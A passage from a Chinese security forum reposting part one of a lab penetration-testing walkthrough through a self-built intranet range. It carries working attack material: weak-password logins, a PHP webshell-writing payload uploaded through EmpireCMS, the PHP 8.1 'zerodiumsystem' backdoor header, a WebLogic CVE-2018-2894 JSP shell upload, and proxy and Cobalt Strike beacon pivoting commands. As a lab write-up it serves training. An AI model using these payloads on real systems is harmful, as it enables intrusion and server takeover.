安全矩阵

 找回密码
 立即注册
搜索
查看: 2382|回复: 0

一次略坑靶场渗透(上)

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2022-1-23 14:15:54 | 显示全部楼层 |阅读模式
原文链接:一次略坑靶场渗透(上)

前言本次靶场为 红队蓝军 自行搭建的一个内网域渗透靶场,下面为靶场的拓扑图:

这个靶场涉及到的漏洞其实都是比较老的洞,主要是想记录一下碰到一台主机该如何去分析具体会存在哪些漏洞,因为涉及到的知识点比较多,我将其分为了上、下两个部分来分别记录。

外网打点首先对nmap对当前网段主机进行端口扫描,可以看到有4台主机存活
nmap -sN -PE 192.168.1.0/24
192.168.1.9开放了22端口即ssh服务,192.168.1.10开放了8080端口猜测是一个web服务,192.168.1.11开放了3306端口即mysql服务,192.168.1.12和192.168.1.13没有扫描出端口特征,但是主机名分别为hack1和hack2

image-20220106224806280
那么首先访问下hack1,80端口下是一个PBOOTCMS

image-20220106225838040
通过http://192.168.1.12/doc/ChangeLog.txt确定具体版本为V2.0.8

image-20220106230315258
google一下只有2.0.7和2.0.9的,2.0.8需要进入后台进行构造

image-20220106230343850
来到后台页面

image-20220106225956551
通过弱口令admin/admin123进入后台

image-20220106230103299
然后通过构造代码执行,但是执行不了,可能是洞被修了

image-20220106230423008
然后再用nmap对192.168.1.12进行具体的扫描,得到88端口,访问是一个帝国cms

image-20220106230454732
通过/e/admin来到后台

image-20220106230520247
还是弱口令admin/admin123进入后台

image-20220106230601253
EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函数存在安全漏洞,攻击者可利用该漏洞上传任意文件。
点击导入系统模型

image-20220106230622053
然后在本地生成一个1.php并改名为1.php.mod上传
<?php file_put_contents("getshell.php","<?php @eval(\$_POST[cmd]); ?>");?>

访问一下没有报错证明上传成功
​​  image-20220106230855730
蚁剑连接http://192.168.1.12:88/e/admin/getshell.php即可得到webshell

image-20220106230918056
这里我们拿到webshell后发现h是通过phpstudy搭建的,一个web在80端口,一个在88端口

image-20220106230938847
在根目录下找到了第一个flag

image-20220106231017360

image-20220106231024526
然后查看一下config.php配置文件,发现是一个站库分离,且ip为192.168.1.13,就是我们之前通过nmap扫描到的hack2

image-20220106231111082
用蚁剑自带的数据库可视化功能去连接

image-20220106231140699
注意这里不能选择mysql,选择mysql必须是默认端口的情况下

image-20220106231201046
选在MYSQLI自定义3308端口进行连接

image-20220106231237706
得到第二个flag

image-20220106233008347
然后我们再看看之前扫到的8080端口,开局只有一个hello world

image-20220107100450603
这里有两种方法,一种是通过Wappalyzer插件查看是一个php8.1

image-20220107100507059
或者抓包发送查看

image-20220107100659962
通过搜索引擎查询php8.1存在一个后门漏洞,直接使用payload
User-Agentt: zerodiumsystem("ls");

image-20220107100750217
得到了第三个flag

image-20220107100809796
这里其实拿到了两台主机的权限,在进行信息搜集过后,并没有发现mysql和ssh的密码,那么先往内网里面继续进行渗透
内网渗透这里ipconfig一下,发现有双网卡,另一张网卡通向10.10.10.0/24段

image-20220107101134614
那么用cs生成一个木马上传

image-20220107101318804
然后执行命令上线cs,这里我用powershell没有回显不知道咋回事orz...

image-20220107101417668
然后进行同网段存活主机的扫描,这里一般会用cs自带的端口扫描,但是这里如果用他自带的端口扫描就有一个弊端,cs的端口扫描默认是扫一个大段,而这里又是10段的ip,所以如果使用cs自带的端口扫描的话时间就会偏长

image-20220107101651028
那么这里我们直接自己使用命令扫描10.10.10.1-10.10.10.255的存活主机
portscan 10.10.10.1-255 1-1000,3389,6000-9999

image-20220107102020458
扫完之后我们得到了一个ip为10.10.10.10的存货主机且有7001特征端口

image-20220107102258499
那么首先进行流量代理,这里我用的是venom,cs的代理不稳定所以我就没有使用

image-20220107102423166
本地监听9999端口
admin.exe -lport 9999

image-20220107102430326
执行命令代理到本地的6666端口
agent.exe -rhost 192.168.1.2 -rport 9999

image-20220107102527123
然后配置浏览器代理


image-20220107102652342​

即可访问到7001端口

image-20220107102716414
这里假如不知道7001端口为weblogic特征端口,就可以拿着报错去百度,也能够得到为weblogic框架

image-20220107102911630
再访问一下weblogic的后台

image-20220107102947083
得到weblogic的版本为12.2.1.3,这里weblogic的漏洞应该是CVE-2018-2894,但是需要进入后台打开web测试页,这里尝试了弱口令并没有登入成功

image-20220107103044362
只能在之前两台主机里面进行信息搜集,在数据库里面发现了疑似后台的账号密码

image-20220107103607610
登入成功

image-20220107103743131
打开web测试页

image-20220107103804032

image-20220107103812388
访问http://10.10.10.10:7001/ws_utc/config.do这里的工作目录不修改直接上传jsp的话是访问不到的,所以我们需要将路径更改为我们能够有权限访问的目录

image-20220107103859791
修改工作目录为以下路径
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls\4mcj4y\war\css

image-20220107113632050
再上传Keystore,这里上传冰蝎马即可

image-20220107113617306
然后f12审查元素得到时间戳为1641526585016

image-20220107113735143
构造得到http://10.10.10.10:7001/ws_utc/c ... 41527581712_ice.jsp,访问一下没有报错证明上传成功

image-20220107115336593
开启冰蝎代理

image-20220107115422567
连接成功

image-20220107115449900
在根目录下找到了第4个flag

image-20220107115503790
还发现了一个root.txt,之前好像也没有扫出tomcat,试着连一下ssh

image-20220107115523319

image-20220107115628145
连接成功,拿到了第五个flag

image-20220107115646538
然后ipconfig看一下,有一张10.10.10.0/24段的网卡,这里上cs的话就要注意了,因为是处于不出网环境,就需要用到TCP beacon进行上线
这里参考了hxd的不出网主机的几种上线方式
这种方式一般试用于:密码撞不上,内网机器有web服务。

image-20220107120411926
我们首先需要建立一个TCP Beacon的监听

image-20220107120404172
这里需要用到无状态的后门,即Stageless,相对的就是Stager
Stager是分步式,分阶段的,只用少部分代码来请求和加载payload,cs的加载payload模式为反射加载beacon.dll,但这个beacon.dll并不在可执行文件中,而是在远程C2服务端。
Stageless则是将beacon.dll包含在可执行文件中,并且可能有写额外的操作,于是文件比较大,特征也更明显,但是适合横向不出网机器,因为不出网所以有可能请求不了c2服务端上的beacon.dll。

image-20220107120426730

image-20220107120446295
将生成的beacon.exe上传到根目录下,但是这里有个问题,因为我们拿到的是一个user权限的webshell,因为权限的问题是不能直接在根目录进行操作的,所以报错,这里就需要找一个能够可执行的路径,一般是tmp目录

image-20220107120554098
这里成功上传

image-20220107120622108
然后执行beacon.exe

image-20220107120636322
使用connect 10.10.10.10命令连接即可上线cs

image-20220107120656650
然后因为这里是一个user权限,能操作的空间比较小,所以我们需要先进行提权

image-20220107120822548
先用了插件提权,把梼杌的提权插件试完了都没有成功。这里提权有点坑,我们放到下半部分来继续说。

image-20220107121344289






回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 09:53 , Processed in 0.016582 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表